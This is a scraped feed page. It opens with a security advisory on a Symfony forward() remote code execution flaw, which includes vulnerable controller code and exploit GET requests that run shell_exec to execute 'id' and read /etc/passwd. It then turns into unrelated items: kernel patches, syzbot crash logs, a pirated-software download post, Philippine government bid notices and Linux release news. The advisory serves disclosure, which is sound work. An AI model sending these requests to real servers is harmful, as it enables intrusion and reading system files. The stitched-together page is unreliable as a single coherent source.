“As previously noted, unless there is something we are missing, the forward() method itself does not have a security vulnerability, but you believe having public methods that accept callables as arguments is in itself a security vulnerability. The forward() method allows you to pass a callable to it which, like many methods in many libraries including many common functions in PHP core such as array_filter (https://secure.php.net/manual/en/function.array-filter.php), if you pass untrusted user input into it, then it could result in remote code execution.

As with SQL queries, outputting data onto a page, using callables or using eval(), if you pass untrusted user input into them, it can result in security issues whether it be remote code execution, SQL injection or an XSS issue. As a framework, Symfony will attempt to aid users to write more secure code and provide tools for this, but a framework cannot assume complete and total responsibility as developers can always write insecure code and should always be aware of how they use unvalidated user input.

As I hope I’ve explained we do not believe this to be a security vulnerability, but if you believe we are still missing something, please do let us know.”

We disagree with this assessment, looking up examples of how to use forward(), there is no mentioning by anyone that you should filter user provided data as it may trigger a code execution vulnerability (unlike eval() equivalent or SQL statements equivalent examples), we therefore believe its prudent to publicly announce this issue.

Credit

Independent security researcher, Calum Hutton, have reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.

Affected systems

Symfony Framework 3.4.* Running on linux Systems.

Vulnerability Details

The vulnerability occurs when the untrusted user data is passed into the forward() function provided by the frameworks AbstractController class. If this function is called in application code with untrusted user input, the application is potentially at risk of this issue.

Symfony allows for controllers to be any PHP callable (https://symfony.com/doc/current/controller.html#a-simple-controller) which gives great flexibity to the developer, but also potentially unforeseen consequences. Because of this, the string ‘system’ would be considered a valid controller, as it is a valid callable and would resolve to the builtin system() function. Symfony would successfully resolve and instantiate the controller instance and attempt to resolve the arguments required to call the new controller from the provided arguments and request context. This would normally fail (depending on the names, and number of arguments), causing the entire controller resolution to fail. One array that is searched for appropriate argument names during argument resolution is the path array passed into the AbstractController::forward() function.

Hence, by controlling the first (controller name/callable) and at least partially the second (path array) parameters of the AbstractController::forward() function, it is possible to call arbitrary PHP functions leading to RCE.

How to Exploit

One way developers might introduce parameters into the path array to pass on to the forwarded controller is through named URL route parameters. Consider the following route definition:

forward:

path: /forward/{controller}/{cmd} defaults: { _controller: ‘AppControllerBaseController::myForward1’ }

Both the controller and cmd route parameters will be passed into the BaseController::myForward1 controller:

public function myForward1($controller, $cmd, array $path = array(), array $query = array()) { // Add the cmd var to the path array if ($cmd) { $path = compact(‘cmd’); } return $this->forward($controller, $path, $query); }

In this example route and controller, the cmd parameter is added to the path array (with the name cmd) that is passed into the AbstractController::forward() function. At this point, the controller is vulnerable to RCE with the below GET request: http://127.0.0.1/forward/shell_exec/id

By adding the cmd argument to the path array in the controller, and calling it cmd, Symfony will correctly resolve both the controller and arguments required for the shell_exec() PHP builtin function (http://php.net/manual/en/function.shell-exec.php). Once the controller and arguments are successfully resolved the controller is executed. Specifically in the above example URL, calling the Linux OS ‘id’ command. An alternative but still vulnerable route and controller combination is shown below, where URL query parameters from the request are merged into the path array and used in the AbstractController::forward() function.

forward:

path: /forward/{controller} defaults: { _controller: ‘AppControllerBaseController::myForward2’ } public function myForward2($controller, array $path = array(), array $query = array()) { // Get current request $req = App::getRequest(); // Populate path vars from query params $path = array_merge($path, $req->query->all()); return $this->forward($controller, $path, $query); }

With a configuration such as this, the same command could be run with the GET request:

http://127.0.0.1/forward2/shell_exec?cmd=id

PoC

With the following PHP page called ‘index.php’ located in the public symfony directory:

<?php use App Core App; use Symfony Component Debug Debug; use Symfony Component Dotenv Dotenv; use Symfony Component HttpFoundation Request; require __DIR__.‘/../vendor/autoload.php’; // The check is to ensure we don’t use .env in production if (!isset($_SERVER[‘APP_ENV’])) { if (!class_exists(Dotenv::class)) { throw new RuntimeException(‘APP_ENV environment variable is not defined. You need to define environment variables for configuration or add “symfony/dotenv” as a Composer dependency to load variables from a .env file.’); } (new Dotenv())->load(__DIR__.‘/../.env’); } if ($trustedProxies = $_SERVER[‘TRUSTED_PROXIES’] ?? false) { Request::setTrustedProxies(explode(‘,’, $trustedProxies), Request::HEADER_X_FORWARDED_ALL ^ Request::HEADER_X_FORWARDED_HOST); } if ($trustedHosts = $_SERVER[‘TRUSTED_HOSTS’] ?? false) { Request::setTrustedHosts(explode(‘,’, $trustedHosts)); } $env = $_SERVER[‘APP_ENV’] ?? ‘dev’; $debug = (bool) ($_SERVER[‘APP_DEBUG’] ?? (‘prod’ !== $env)); if ($debug) { umask(0000); Debug::enable(); } $app = new App($env, $debug); $request = App::getRequest(); $response = $app->handle($request); $response->send(); $app->terminate($request, $response);

We can issue a GET Request for the next URL:

http://localhost:8000/forward2/shell_exec?cmd=cat%20/etc/passwd

Result:


SSD Advisory   Symfony Framework forward() Remote Code Execution

          Linus Torvalds Says Linux 5.0 Comes in 2019, Kicks Off Development of Linux 4.20      Cache   Translate Page      
Linus Torvalds is back from a short vacation to rethink his strategy as the leader of the development of the Linux kernel, and kicked off a new development cycle for the next 6 weeks, this time for Linux kernel 4.20.
          More on the Hydraulic Pump of the Future      Cache   Translate Page      
The millennium pump, shown in combined schematic-block diagram form in Fig. 1, consists of the basic electronically stroked pump kernel, plus several sensors used for control and diagnostics. The pump kernel for bus use is nothing more than the unive
          Re: [PATCH 2/2 v5] x86/kexec_file: add reserved e820 ranges to kdu ...      Cache   Translate Page      
Baoquan He writes: (Summary) On 11/07/18 at 01:00pm, Lianbo Jiang wrote:
it falls back to legacy mode, and also outputs the following kernel log. OK, it falls back to legacy mode, and also output kernel log, except of these, does it crash kernel? kdump kernel hang? Can we leave it if it only ouptut kernel log?
only ouptut kernel log?
normal kernel.
Why do we care? Then give out the analysis about root cause.
analysis about root cause.
analysis about root cause.
          BUG: unable to handle kernel paging request in locks_remove_file      Cache   Translate Page      
syzbot writes: (Summary) 3d 01 f0 ff ff 0f 83 cb b3 fb ff c3 66 2e 0f 1f 84 00 00 00 00 RSP: 002b:00007f5f1e437c78 EFLAGS: 00000246 ORIG_RAX: 0000000000000049 RAX: fffffffffffffe00 RBX: 0000000000000002 RCX: 0000000000457569 RDX: 0000000000000000 RSI: 0000000000000001 RDI: 0000000000000003 RBP: 000000000072bf00 R08: 0000000000000000 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000246 R12: 00007f5f1e4386d4 R13: 00000000004bdd9e R14: 00000000004ccdb8 R15: 00000000ffffffff Modules linked in: CR2: ffff880194657bb8 ---[ end trace f5c1663e01f0c934 ]--- RIP: 0010:0xffff880194657bb8 Code: c1 eb 86 af 8c 32 00 f1 ff 1f d0 7c 65 94 01 88 ff ff f8 7d 65 94 01 88 ff ff 00 00 00 00 00 fc ff df 04 00 00 00 00 00 00 00 <78>
          [PATCHv2] PCI/Layerscape: fix wrongly invoking of outbound window ...      Cache   Translate Page      
"Z.q. Hou" writes: (Summary) From: Hou Zhiqiang <Zhiqiang.Hou@nxp.com>
From: Hou Zhiqiang <Zhiqiang.Hou@nxp.com>
The order of parameters is not correct when invoking the outbound window disable routine.
window disable routine.
Fixes: commit 4a2745d760fac ("PCI: layerscape: Disable outbound windows configured by bootloader").
windows configured by bootloader").
Cc: stable@vger.kernel.org
Signed-off-by: Hou Zhiqiang <Zhiqiang.Hou@nxp.com> 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/drivers/pci/controller/dwc/pci-layerscape.c b/drivers/pci/cont= roller/dwc/pci-layerscape.c index 3724d3ef7008..7aa9a82b7ebd 100644 --- a/drivers/pci/controller/dwc/pci-layerscape.c +++ b/drivers/pci/controller/dwc/pci-layerscape.c @@ -88,7 +88,7 @@ static void ls_pcie_disable_outbound_atus(struct ls_pcie = *pcie) int i;
          KASAN: use-after-free Read in locks_remove_flock      Cache   Translate Page      
syzbot writes: (Summary) ffff8801c92fc000: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb ^ ffff8801c92fc080: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb ffff8801c92fc100: fb fc fc fc fc fc fc fc fc fb fb fb fb fb fb fb ================================================================== ------------[ cut here ]------------ downgrading a read lock WARNING: CPU: 0 PID: 15521 at kernel/locking/lockdep.c:3556 __lock_downgrade kernel/locking/lockdep.c:3556 [inline] WARNING: CPU: 0 PID: 15521 at kernel/locking/lockdep.c:3556 lock_downgrade+0x4d7/0x900 kernel/locking/lockdep.c:3819 --- This bug is generated by a bot.
          general protection fault in locks_remove_flock      Cache   Translate Page      
syzbot writes: (Summary) 3c 02 00 0f 85 17 01 00 00 48 8b 5b 08 48 85 db 74 0d e8 f2 40 RSP: 0018:ffff8801895a7880 EFLAGS: 00010202 RAX: dffffc0000000000 RBX: 0000000041b58ab3 RCX: ffffffff81ed555d RDX: 000000000836b157 RSI: ffffffff81ed5c71 RDI: 0000000041b58abb RBP: ffff8801895a7a60 R08: ffff880194096140 R09: ffffed003b5c5b67 R10: ffffed003b5c5b67 R11: ffff8801dae2db3b R12: ffff8801cb266ac0 R13: ffff8801895a78f8 R14: 1ffff100312b4f13 R15: dffffc0000000000 FS: 0000000002927940(0000) GS:ffff8801dae00000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000000000400200 CR3: 00000001bd0d5000 CR4: 00000000001406f0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 Call Trace: locks_remove_file+0x148/0x5c0 fs/locks.c:2607 __fput+0x2f0/0xa70 fs/file_table.c:271 ____fput+0x15/0x20 fs/file_table.c:312 task_work_run+0x1e8/0x2a0 kernel/task_work.c:113 tracehook_notify_resume include/linux/tracehook.h:188 [inline]
          [PATCH 2/2 v5] x86/kexec_file: add reserved e820 ranges to kdump k ...      Cache   Translate Page      
Lianbo Jiang writes: (Summary) E820 reserved ranges is useful in kdump kernel, it has been added in kexec-tools code.
kexec-tools code.
One reason is PCI mmconf (extended mode) requires reserved region otherwise it falls back to legacy mode, and also outputs the following kernel log. [ 19.798354] PCI: MMCONFIG for domain 0000 [bus 00-ff] at [mem 0x80000000-0x8fffffff] (base 0x80000000) [ 19.800653] [Firmware Info]: PCI: MMCONFIG at [mem 0x80000000-0x8fffffff] not reserved in ACPI motherboard resources [ 19.800995] PCI: not using MMCONFIG ......
          [PATCH 1/2 v5] x86/kexec_file: add e820 entry in case e820 type st ...      Cache   Translate Page      
Lianbo Jiang writes: (Summary) } diff --git a/arch/x86/kernel/e820.c b/arch/x86/kernel/e820.c index 50895c2f937d..4c1fe4f8db1e 100644 --- a/arch/x86/kernel/e820.c +++ b/arch/x86/kernel/e820.c @@ -1011,7 +1011,7 @@ void __init e820__finish_early_params(void) } } -static const char *__init e820_type_to_string(struct e820_entry *entry) +const char *e820_type_to_string(struct e820_entry *entry) { switch (entry->type) { case E820_TYPE_RESERVED_KERN: /* Fall-through: */ diff --git a/kernel/resource.c b/kernel/resource.c index b3a3a1fc499e..6285a6b4de6c 100644 --- a/kernel/resource.c +++ b/kernel/resource.c @@ -366,6 +366,7 @@ static int find_next_iomem_res(resource_size_t start, resource_size_t end, res->end = min(end, p->end);
          [PATCH 0/2 v5] add reserved e820 ranges to the kdump kernel e820 table      Cache   Translate Page      
Lianbo Jiang writes: (Summary) E820 reserved ranges is useful in kdump kernel, it has been added in kexec-tools code.
kexec-tools code.
One reason is PCI mmconf (extended mode) requires reserved region otherwise it falls back to legacy mode, and also outputs the following kernel log. But IORES_DESC_NONE resource type includes several different e820 types, we need add exact e820 type to the kdump kernel e820 table, thus it also needs an extra checking in memmap_entry_callback() to match the e820 type and resource name. Lianbo Jiang (2): x86/kexec_file: add e820 entry in case e820 type string matches to io resource name x86/kexec_file: add reserved e820 ranges to kdump kernel e820 table arch/x86/include/asm/e820/api.h |
          [PATCH 1/2] arm64: dts: mt7622: fix console output issue on rfb1      Cache   Translate Page      
Ryder Lee writes: (Summary) The issue was introduced by Kernel CI:
https://kernelci.org/boot/id/5bbdcbad59b5146fc5b43592/ https://kernelci.org/boot/id/5bbdcbad59b5146fc5b43592/ Fix this by using a 'stdout-path' property that points to the device. 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/arch/arm64/boot/dts/mediatek/mt7622-rfb1.dts b/arch/arm64/boot/dts/mediatek/mt7622-rfb1.dts index dcad086..3f78334 100644 --- a/arch/arm64/boot/dts/mediatek/mt7622-rfb1.dts +++ b/arch/arm64/boot/dts/mediatek/mt7622-rfb1.dts @@ -17,8 +17,13 @@ model = "MediaTek MT7622 RFB1 board";
          [PATCH 03/23] cred: export get_task_cred().      Cache   Translate Page      
NeilBrown writes: (Summary) There is no reason that modules should not be able
to use this, and NFS will need it when converted to use 'struct cred'.
use 'struct cred'.
Signed-off-by: NeilBrown <neilb@suse.com>
--- kernel/cred.c | 1 + 1 file changed, 1 insertion(+) diff --git a/kernel/cred.c b/kernel/cred.c index ba60162249e8..21f4a97085b4 100644 --- a/kernel/cred.c +++ b/kernel/cred.c @@ -200,6 +200,7 @@ const struct cred *get_task_cred(struct task_struct *task) rcu_read_unlock(); /* * Allocate blank credentials, such that the credentials can be filled in at a


          [PATCH 02/23] cred: add get_cred_rcu()      Cache   Translate Page      
NeilBrown writes: (Summary) 2 +- 2 files changed, 12 insertions(+), 1 deletion(-) diff --git a/include/linux/cred.h b/include/linux/cred.h index f1085767e1b3..48979fcb95cf 100644 --- a/include/linux/cred.h +++ b/include/linux/cred.h @@ -252,6 +252,17 @@ static inline const struct cred *get_cred(const struct cred *cred) return get_new_cred(nonconst_cred); } +static inline const struct cred *get_cred_rcu(const struct cred *cred) +{ + struct cred *nonconst_cred = (struct cred *) cred; +} + /** * put_cred - Release a reference to a set of credentials * @cred: The credentials to release diff --git a/kernel/cred.c b/kernel/cred.c index 0b3ac72bd717..ba60162249e8 100644 --- a/kernel/cred.c +++ b/kernel/cred.c @@ -195,7 +195,7 @@ const struct cred *get_task_cred(struct task_struct *task) do { cred = __task_cred((task));
          [PATCH 00/23 - V4] NFS: Remove generic RPC credentials.      Cache   Translate Page      
NeilBrown writes: (Summary) 6 - fs/nfs/blocklayout/blocklayout.c | 9 - fs/nfs/delegation.c | 10 - fs/nfs/dir.c | 8 - fs/nfs/flexfilelayout/flexfilelayoutdev.c | 8 - fs/nfs/nfs3proc.c | 9 - fs/nfs/nfs4session.c | 6 - kernel/cred.c |
          [Patch net-next 01/12] net: hns3: use HNS3_NIC_STATE_INITED to ind ...      Cache   Translate Page      
Huazhong Tan writes: (Summary) 2 +- 2 files changed, 18 insertions(+), 1 deletion(-) diff --git a/drivers/net/ethernet/hisilicon/hns3/hns3_enet.c b/drivers/net/ethernet/hisilicon/hns3/hns3_enet.c index 3f96aa3..d51469c 100644 --- a/drivers/net/ethernet/hisilicon/hns3/hns3_enet.c +++ b/drivers/net/ethernet/hisilicon/hns3/hns3_enet.c @@ -3397,6 +3397,8 @@ static int hns3_client_init(struct hnae3_handle *handle) /* MTU range: (ETH_MIN_MTU(kernel default) - 9706) */ netdev->max_mtu = HNS3_MAX_MTU - (ETH_HLEN + ETH_FCS_LEN + VLAN_HLEN);
          [RFC PATCH] ptrace: add PTRACE_GET_SYSCALL_INFO request      Cache   Translate Page      
Elvira Khabirova writes: (Summary) */ /* Interrupts should be re-enabled for syscall processing */ diff --git a/arch/ia64/kernel/ptrace.c b/arch/ia64/kernel/ptrace.c index 427cd565fd61..6c12265aed65 100644 --- a/arch/ia64/kernel/ptrace.c +++ b/arch/ia64/kernel/ptrace.c @@ -1218,7 +1218,7 @@ syscall_trace_enter (long arg0, long arg1, long arg2, long arg3, struct pt_regs regs) { if (test_thread_flag(TIF_SYSCALL_TRACE)) - if (tracehook_report_syscall_entry(&regs)) + if (tracehook_report_syscall_entry(&regs, false)) return -ENOSYS;
          Re: [PATCH v2] lockdown: allow kexec_file of unsigned images when ...      Cache   Translate Page      
kbuild test robot writes: (Summary) Yet something to improve:
[auto build test ERROR on linus/master]
[also build test ERROR on v4.20-rc1 next-20181106]
[if your patch is applied to the wrong git tree, please drop us a note to help improve the system] [if your patch is applied to the wrong git tree, please drop us a note to help improve the system] url: https://github.com/0day-ci/linux/commits/Thadeu-Lima-de-Souza-Cascardo/lockdown-allow-kexec_file-of-unsigned-images-when-not-under-lockdown/20181106-081252 config: x86_64-fedora-25 (attached as .config)
compiler: gcc-7 (Debian 7.3.0-1) 7.3.0
reproduce:
# save the attached .config to linux build tree
make ARCH=x86_64
make ARCH=x86_64
All errors (new ones prefixed by >>):
All errors (new ones prefixed by >>):
kernel/kexec_file.c: In
          [PATCH] x86/irq: fix build warning in irq.c      Cache   Translate Page      
Yi Wang writes: (Summary) [-Wmissing-prototypes] __visible void __irq_entry smp_x86_platform_ipi(struct pt_regs *regs) ^
arch/x86/kernel/irq.c:301:16: warning: no previous prototype for ‘smp_kvm_posted_intr_ipi’ [-Wmissing-prototypes] __visible void smp_kvm_posted_intr_nested_ipi(struct pt_regs *regs) ^
^
Signed-off-by: Yi Wang <wang.yi59@zte.com.cn>
          linux-next: Tree for Nov 7      Cache   Translate Page      
Stephen Rothwell writes: (Summary) "REUSEPORT") Merging wireless-drivers-next/master (7d129adff3af rtlwifi: rtl8192de: Fix misleading REG_MCUFWDL information) Merging bluetooth/master (8053e5b93eca Merge tag 'trace-v4.20-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/rostedt/linux-trace) Merging mac80211-next/master (4b42745211af Merge tag 'armsoc-soc' of git://git.kernel.org/pub/scm/linux/kernel/git/arm/arm-soc) Merging gfs2/for-next (82a3ca565664 gfs2: Put bitmap buffers in put_super) Merging mtd/mtd/next (d24dbd7541ff mtd: maps: Get rid of the latch-addr-flash driver) Merging nand/nand/next (647ad49ca672 staging: Remove the mt29f_spinand driver) Merging spi-nor/spi-nor/next (41fe242979e4 mtd: spi-nor: fsl-quadspi: fix read error for flash size larger than 16MB) Merging crypto/master (a1c6fd4308d3 crypto: chelsio - Update ntx queue received from cxgb4) Merging drm/drm-next (651022382c7f Linux 4.20-rc1) Merging drm-panel/drm/panel/for-next (e4bac408b084 drm/panel: simple: Add support for Winstar WF35LTIACD) Merging drm-intel/for-linux
          [LKP] a9f38e1dec [ 245.678853] INFO: task mount:580 blocked for mo ...      Cache   Translate Page      
kernel test robot writes: (Summary)
          Re: [PATCH] Revert "scripts/setlocalversion: git: Make -dirty chec ...      Cache   Translate Page      
Christian Kujau writes: (Summary) FWIW, the issue I reported back in 2013[0] was not an ill-configured NFS export, but a read-only NFS export (and then a read-write exported NFS export, but the user compiling the kernel did not have write permission) and so "test -w .git" did not help in determining if the source tree can actually written to. And depending on the user's shell[1], this may or may not still be the case.
not still be the case.
So I'm all for the $(touch .git/some-file-here) test to decide if the kernel has to be modified during build.
kernel has to be modified during build.
Christian.
          SUPERAntiSpyware Professional 8.0.1024 Multilingual      Cache   Translate Page      

http://www.hostpic.org/images/1811070813360096.jpg

SUPERAntiSpyware Professional 8.0.1024 Multilingual | 35.4 Mb
SUPERAntiSpyware is the most thorough scanner on the market. Our Multi-Dimensional Scanning and Process Interrogation Technology will detect spyware that other products miss! SUPERAntiSpyware will remove ALL the Spyware, NOT just the easy ones! SUPERAntiSpyware features our unique Process Interrogation Technology (PIT) that allows threats to be detected no matter where they are hiding on your system. Many new types of threats utilize "Rootkits" or "Kernel Drivers" to hide themselves to avoid detection by standard anti-spyware applications.

SUPERAntiSpyware's Process Interrogation Technology locates even the toughest of threats. SUPERAntiSpyware is a next generation scanning system that goes beyond the typical rules based scanning methods. Our Multi-Dimensional Scanning system detects existing threats as well as threats of the future by analyzing threat characteristics in addition to code patterns.

Features:
* Quick, Complete and Custom Scanning of HDD, Registry, Memory and more
* Detect and Remove Spyware, Adware, Malware, Trojans, Dialers, Worms, KeyLoggers and many other threats
* Repair broken Internet Connections, Desktops, Registry Editing, Task Manager and more
* Real-Time Blocking of threats
* Schedule either Quick, Complete or Custom Scans Daily or Weekly
* Quarantine items detected and removed for complete protection
* Detailed scan logs with complete information about detected and removed threats and their locations

System Requirements
Windows XP®, Media Center, Windows Vista®, Windows® 7, Windows 8, Windows 8.1, Windows 10

Home Page -

http://www.superantispyware.com/


Download link:


Links are Interchangeable - No Password - Single Extraction


          Comment on Nintendo Switch Kernel exploit 34c3 presentation: “Nvidia Backdoored themselves” by Jailbroken Nintendo Switch devices now support customize firmware! – Jalvis Tech      Cache   Translate Page      
[…] in December of 2017, a group of hackers revealed at the Chaos Communication Congress in Germany that they successfully hacked the Switch’s version 3.0.0 firmware. The team also […]
          [PATCH 1/2] nds32: Fix the missing "fpu_dp" message.      Cache   Translate Page      
Nylon Chen writes: (Summary) The "fpu_dp" should be added to hwcap_str table to make sure the cpu features displayed correctly. The "fpu_dp" should be added to hwcap_str table to make sure the cpu features displayed correctly. 1 + 1 file changed, 1 insertion(+) diff --git a/arch/nds32/kernel/setup.c b/arch/nds32/kernel/setup.c index eacc79024879..e39274a21481 100644 --- a/arch/nds32/kernel/setup.c +++ b/arch/nds32/kernel/setup.c @@ -71,6 +71,7 @@ static const char *hwcap_str[] = { "mac", "l2c", "dx_regs", + "fpu_dp", "v2", NULL, };
          Pb No. 18-369-10 Supply And Delivery Of Various Food Items For The Dof      Cache   Translate Page      
Pb No. 18-369-10 Supply And Delivery Of Various Food Items For The Dof
PB NO. 18-369-10
Implementing Rules and Regulations
Public Bidding

Description
INVITATION TO BID
FOR THE

Supply and Delivery of Various Food Items for the
Department of Finance (DOF)
PUBLIC BIDDING NO. 18-369-10

FUNDING SOURCE:
The Government of the Philippines (GOP) through General Appropriations Act of 2017

1. The PROCUREMENT SERVICE invites PhilGEPS registered suppliers to bid for the following:
Lot
No. Item No. Items and Description UOM Total Quantity Approved Budget for the Contract Bid Document Price Delivery Period
1 1 Spaghetti Noodles 900g/pack 821 66,911.50

Refers to Section VI Schedule of Requirements

2 Tomato Sauce 1kg/pouch 821 61,985.50
3 Creamy and Cheesy Spaghetti Sauce 900g/pouch 821 66,911.50
Php1,000.00
4 Cheese 950g/pack 821 199,892.98
5 Cooking Oil 1liter/bottle 821 104,656.98
6 Parmesan Cheese 227g/pack 821 176,515.00
7 Elbow Macaroni 1kl/pack 821 75,942.50
8 Salad Macaroni 1kl/pack 821 75,942.50
9 All-Purpose Cream 900g/pack 3284 160,916.00
10 Pineapple Chunks 1kg/pouch 821 64,038.00
11 Condensed Milk 300ml/can 3284 175,694.00
12 Sandwich Spread 470ml/pouch 821 107,940.98
13 Pickle Relish 270g/bottle 821 51,928.25
14 Pineapple Slice 822g/can 821 67,157.80
15 Fruit Cocktail min. of 3kg/can 1642 322,201.45
16 Luncheon Meat 340g/can 2463 285,954.30
17 Corned Beef 380g/can 2463 384,228.00
18 Mayonnaise 700ml/bottle 821 188,419.50
19 Angus Corned Beef 260g/can 1642 119,045.00
20 Washed Sugar 1kl/pack 821 48,439.00
21 Evaporated Milk 370ml/can 2463 93,840.30
22 Coffee Gold Blend 175g/bottle 821 354,672.00
23 Coffee Creamer 450g/pack 1642 133,823.00
24 Chocolate Powdered Milk 31g x 8/box 1642 164,200.00
25 Peach Halves 29oz/can 821 79,226.50
26 Pineapple Juice 46oz/can 1642 124,792.00
27 Spreadable Butter 225g/pack 821 90,310.00
28 Tomato Ketchup 20oz/bottle 821 43,102.50
29 Peanut Butter
700g/bottle or container 821 167,894.50
30 Tuna Flakes in Vegetable Oil 180g/can 4105 138,543.75
31 Tuna Flakes in Hot and Spicy 180g/can 4105 142,648.75
32 Rice; Long Grain 25kg/sack 1642 2,405,530.00
33 Vienna Sausage min. of 4oz/can 4105 153,937.50
34 Pure Olive Oil 500ml/bottle 821 183,904.00
35 Tea 25x1g/box 821 214,691.50
36 Whole Mushroom 284g/can 821 35,303.00
37 Whole Corn Kernel 16oz/can 1642 50,902.00
38 Powdered Milk 900g/pack 821 194,166.50
39 Raisins 225g/box 821 64,448.50
40 Butter Cookies 800g/container 821 174,996.15
41 Chocolate Chip Cookies 600g/container 821 139,241.60
42 Round Crackers Biscuits 600g/container 821 127,049.75
43 Instant Oatmeal
800g/pack 821 84,583.53
44 Sugar Glazed Ham, (Round Shape) 1kg 821 529,545.00
TOTAL: Php 8,696,073.05

Bidders should have completed, within Five (5) years prior to the date of submission and receipt of bids, a contract similar to the Project.

2. The summary of the bidding activities is as follows:

Advertisement/Posting of Invitation to Bid 31 October 2018
Issuance and Availability of Bid Documents 31 October 2018
Pre-Bid Conference 07 November 2018 / 1:30 P.M.
Last day of Submission of Written Clarification 09 November 2018
Last day of Issuance of Bid Bulletin 12 November 2018
Deadline for Submission 19 November 2018/ 1:30 P.M.
Opening of Bids Immediately after the Deadline of Submission of Bids

3. Bidding will be conducted through open competitive bidding procedures using a non-discretionary “pass/fail” criterion as specified in the Implementing Rules and Regulations (IRR) of Republic Act (RA) 9184, otherwise known as the “Government Procurement Reform Act”.

4. Bidding is restricted to Filipino citizens/sole proprietorships, partnerships, or organizations with at least sixty percent (60%) interest or outstanding capital stock belonging to citizens of the Philippines, and to citizens or organizations of a country the laws or regulations of which grant similar rights or privileges to Filipino citizens, pursuant to RA 5183 and subject to Commonwealth Act 138.

5. A complete set of Bidding Documents may be acquired by interested Bidders from the BAC Secretariat Office (see address below) and upon payment of a nonrefundable fee for the Bidding Documents, in amounts pursuant to the Schedule.

The Bidding Documents may also be downloaded free of charge from the website of the PhilGEPS provided that Bidders shall pay the non-refundable price not later than the submission of their bids.

Interested bidders may inspect the Bidding Documents and obtain further information from the BAC Secretariat at the address given below.

6. The PROCUREMENT SERVICE will hold a Pre-Bid Conference on 07 November 2018; 1:30 P.M. which shall be open to all interested parties.

7. All Bids must be accompanied by a bid security in any of the acceptable forms and in the amount stated in ITB Clause 18.

Bid opening shall be conducted on 19 November 2018; 1:30 P.M. at the Bidding Room, Conference Room, Procurement Service, Cristobal St., Paco, Manila. Bids will be opened in the presence of the Bidders’ representatives who choose to attend the opening. Late bids shall not be accepted. Unsealed or unmarked bid envelopes shall be rejected also.

8. Bidders shall drop their duly accomplished eligibility requirements, technical and financial proposals in two separate sealed envelopes in the designated bid box located at the Bidding Room.

9. The PROCUREMENT SERVICE reserves the right to accept or reject any bid, and to reject all bids at any time prior to contract award, without thereby incurring any liability to the affected bidder or bidders.

The PROCURING ENTITY reserves the right to exercise the Reservation Clause under Section 41 of the 2016 IRR of R.A. 9184.

10. For further information, please refer to:

The Procurement Division 10
Procurement Service
RR Road, Cristobal St., Paco, Manila
Telephone No. 689-7750 l
pd10@ps-philgeps.gov.ph





SGD: ENGR. PABLO ROMAN C. ANDRES
Chairperson
Bids and Awards Committee X

Line Items
Item No.Product/Service NameDescriptionQuantityUOMBudget (PHP)
1Varous Food ItemsGrocery Items1Lot8,696,073.05
Pre-bid Conference

Date

Time

Venue

07/11/2018 1:30 PM The Procurement Division 10 Procurement Service RR Road, Cristobal St., Paco, Manila



          School-Based Feeding Program      Cache   Translate Page      
School-Based Feeding Program
8
Others
Public Bidding

Description
As needed in the School's Feeding Program for School Feeding for School Year 2018-2019.

Line Items
Item No.Product/Service NameDescriptionQuantityUOMBudget (PHP)
1BananaRipe10Kilo-1.00
2PineappleRipe10Kilo-1.00
3WatermelonRipe20Kilo-1.00
4PapayaRipe10Kilo-1.00
5PotatoPotato20Kilo-1.00
6CarrotsCarrots20Kilo-1.00
7SayoteSayote20Kilo-1.00
8SquashSquash10Kilo-1.00
9String BeansString Beans10Kilo-1.00
10EggplantEggplant5Kilo-1.00
11GarlicGarlic5Kilo-1.00
12OnionOnion5Kilo-1.00
13GingerGinger5Kilo-1.00
14SugarBrown5Kilo-1.00
15CornKernel5Kilo-1.00
16MilkEvaporated15Can-1.00
17Pork and BeansBig10Can-1.00
18MilkCoconut,big15Can-1.00
19PeasGreen15Can-1.00
20PineappleTidbits15Can-1.00
21Soy SauceDatu Puti1Gallon-1.00
22SauceTomato5Pack-1.00
23Bread CrumbsBig6Pack-1.00
24MilkPowdered, Bear Brand6Kilo-1.00
25SurfPowder4Kilo-1.00
26ZonroxZonrox1Gallon-1.00
27SpongeDishwashing10Piece-1.00
28RiceRice150Kilo-1.00
29FishTuna10Kilo-1.00
30ChickenDrumstick20Kilo-1.00
31ChickenThigh20Kilo-1.00
32ChickenLiver20Kilo-1.00
33PorkKasim20Kilo-1.00
34PorkAdobo Cut20Kilo-1.00
35EggMedium7Dozen-1.00
Pre-bid Conference

Date

Time

Venue

01/11/2018 10:00 AM Corrales Elementary School Corrales Extension, Cagayan de Oro City



          today's howtos      Cache   Translate Page      

          Trisquel 8.0 LTS Flidas – The 100% Libre Linux OS, Using MATE & Powered By Linux-Libre 4.4      Cache   Translate Page      

Trisquel 8.0 is the latest release of Trisquel Linux Distribution that’s endorsed by the Free Software Foundation. this release based on Ubuntu 16.04 LTS, using MATE desktop 1.12 as default desktop environment and powered by Linux-libre 4.4 LTS kernel. The desktop environment shifted over to MATE as they wanted a Linux desktop not requiring OpenGL […]

The post Trisquel 8.0 LTS Flidas – The 100% Libre Linux OS, Using MATE & Powered By Linux-Libre 4.4 appeared first on Linux Scoop.


          What’s New in Elementary OS 5.0 Juno      Cache   Translate Page      

Elementary OS 5.0 Juno, the latest release of Elementary OS has been released by Elementary OS developer , This new release is based on Ubuntu 18.04 Long Term Support (LTS) and powered by Linux Kernel 4.15. The pantheon desktop, default desktop of elementary OS get more polished and updated. added brand new Night Light feature […]

The post What’s New in Elementary OS 5.0 Juno appeared first on Linux Scoop.


          What’s New in Ubuntu 18.10 Cosmic Cuttlefish      Cache   Translate Page      

Ubuntu 18.10 Cosmic Cuttlefish the new release of Ubuntu linux Distribution, this release ships with latest GNOME 3.30 as default desktop enviroment and Powered by a Linux kernel 4.18 series. Also include new Yaru theme, the bold, the frivolous, yet distinctly Ubuntu saw further improvements and touchups. Integrates beautifully with GNOME 3.30 Desktop and improves […]

The post What’s New in Ubuntu 18.10 Cosmic Cuttlefish appeared first on Linux Scoop.


